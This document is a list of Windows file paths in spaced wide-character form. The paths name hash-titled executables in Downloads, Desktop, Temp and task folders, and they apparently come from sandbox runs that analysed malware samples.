C : \ U s e r s \ a d m i n \ D o w n l o a d s \ h h c b r n a f f . e x e
C : \ D o c u m e n t s a n d S e t t i n g s \ A d m i n i s t r a t o r \ D e s k t o p \ 6 b w L p 0 B t . e x e
C : \ 0 4 e 6 a d 3 2 d 0 1 0 c 4 7 9 0 e 6 a 3 7 8 d 6 a 0 b 1 f 6 7 f 2 5 4 6 d d c 8 8 5 a 6 6 4 5 1 4 b 2 2 7 f 3 8 f 1 e f 2 e f
C : \ 3 4 6 4 6 b 9 3 4 c 1 f 3 5 0 a 3 6 2 2 4 9 8 b a 0 2 1 0 f 1 f 7 5 3 e 7 4 d 8 0 3 f 0 2 c 4 b a c d 8 f 8 7 e e f e 4 4 f f 2
C : \ 0 5 2 7 1 9 2 b 4 4 7 b d 7 e 6 d c 9 3 6 4 9 a 4 a 2 1 2 a a 4 a c 7 e e 2 7 5 f 7 d 1 e 2 b 1 9 a 7 4 4 6 e 3 a b 6 c 4 f 8 9
C : \ 8 9 3 d 3 4 e 4 7 6 a c 3 f 9 0 f 6 4 4 f c d 7 b 6 1 1 9 7 b 9 6 9 5 6 5 5 3 5 f c b 6 5 7 7 9 4 4 7 8 7 a 7 b 8 0 1 4 4 0 6 8
C : \ D o c u m e n t s a n d S e t t i n g s \ A d m i n i s t r a t o r \ D e s k t o p \ 4 W B M 8 K t X . e x e
C : \ U s e r s \ R A 4 9 1 ~ 1 . V U L \ A p p D a t a \ L o c a l \ T e m p \ 7 1 c d 1 7 6 0 a a 6 c e a a 5 0 0 4 e b 4 4 2 f 7 5 d f 5 a b . v i r u s
C : \ U s e r s \ a d m i n \ D o w n l o a d s \ h h c b r n a f f . e x e
c : \ t a s k \ D 6 E F 8 8 8 3 3 3 0 A C A 2 6 2 E 2 4 3 1 B 8 3 5 D 8 1 B B 7 . e x e
C : \ a c a c 9 8 0 5 e a 0 1 2 6 2 c 2 7 9 6 b 3 a 8 6 4 5 d 3 e 3 1 a a 5 6 5 3 d 5 3 a a 8 1 d d b 0 b 5 8 f 5 9 1 9 8 f c e 7 1 0
C : \ U s e r s \ a d m i n \ D o w n l o a d s \ h h c b r n a f f . e x e
C : \ c 8 d 1 6 b 1 e 4 c b e b 0 9 3 4 f 6 7 6 0 f c 9 3 0 4 c 8 d c 1 c 4 1 0 2 5 6 2 0 2 6 a 3 0 f 1 8 a e 4 a a 6 c a 7 e 2 b f 3
C : \ U s e r s \ a d m i n \ D o w n l o a d s \ h h c b r n a f f . e x e
C : \ U s e r s \ a d m i n \ D o w n l o a d s \ 7 d 4 0 9 4 6 3 1 f a 5 5 4 9 c e 2 9 d b 3 1 0 2 0 3 b 8 b 6 a 9 7 d c a 6 1 c 2 7 2 4 6 7 9 d 0 4 7 b a f 8 e b 1 e b 2 4 b d . e x e
C : \ 6 3 a c 3 c b 3 a e 6 7 1 6 2 f a e 1 1 7 c e 7 c 8 5 4 9 d 9 a b 1 9 f 0 3 a a 9 7 7 1 0 5 7 0 b a 9 0 b 4 e 8 8 1 a 8 5 d f 5
C : \ U s e r s \ a d m i n \ D o w n l o a d s \ h h c b r n a f f . e x e
C : \ f 9 4 0 c 1 f d 8 9 1 6 6 9 6 4 d 0 3 e c 6 c 7 9 e 6 a 6 d d d e 9 5 7 7 6 b 4 7 4 7 7 4 5 f 1 f 9 4 a 0 9 2 f 9 0 1 5 9 9 3 a
C : \ U s e r s \ a d m i n \ D o w n l o a d s \ h h c b r n a f f . e x e
C : \ U s e r s \ a d m i n \ D o w n l o a d s \ 5 1 4 1 9 d 3 7 e f 8 f 3 4 c c 5 9 d 8 6 0 f e 8 9 3 2 0 3 1 c 8 f d 8 f 8 3 9 2 f b 4 a c f 2 8 a 3 8 4 9 7 c 0 8 f 1 3 b e 5 . e x e
C : \ U s e r s \ a d m i n \ D o w n l o a d s \ 3 a 9 f f 1 5 0 f 6 9 c 5 2 e a 6 a e 7 d d 0 4 d 1 d d 8 c 3 2 0 9 6 9 7 4 8 2 2 6 d e 7 5 0 e 5 8 0 5 2 b 8 d e 9 e 2 3 8 8 f . e x e
C : \ U s e r s \ a d m i n \ D o w n l o a d s \ 8 6 d e f 9 4 9 b d 2 a 2 3 2 2 1 b b 7 f 1 b 3 b 4 2 8 8 8 f 9 1 1 8 b 6 f 1 8 5 a e 8 6 4 2 1 7 4 9 3 b 5 8 2 2 9 c e 9 c 8 8 . e x e
C : \ 3 b 4 0 a 0 e 6 8 1 a 2 6 e f 3 c 0 c b 9 4 0 a d a 6 c e c 6 7 0 e 4 9 b 8 3 2 8 4 8 2 2 2 4 9 0 8 6 8 0 f 6 9 6 3 e 4 8 9 2 8
C : \ 7 1 6 8 6 1 b 4 5 9 7 6 f 5 b 7 d 5 9 6 0 c 5 7 b f 9 c 1 2 0 0 0 7 d 2 7 a 0 3 1 5 2 1 0 e f 8 3 8 a c c f 0 f f 4 4 c d 9 b 3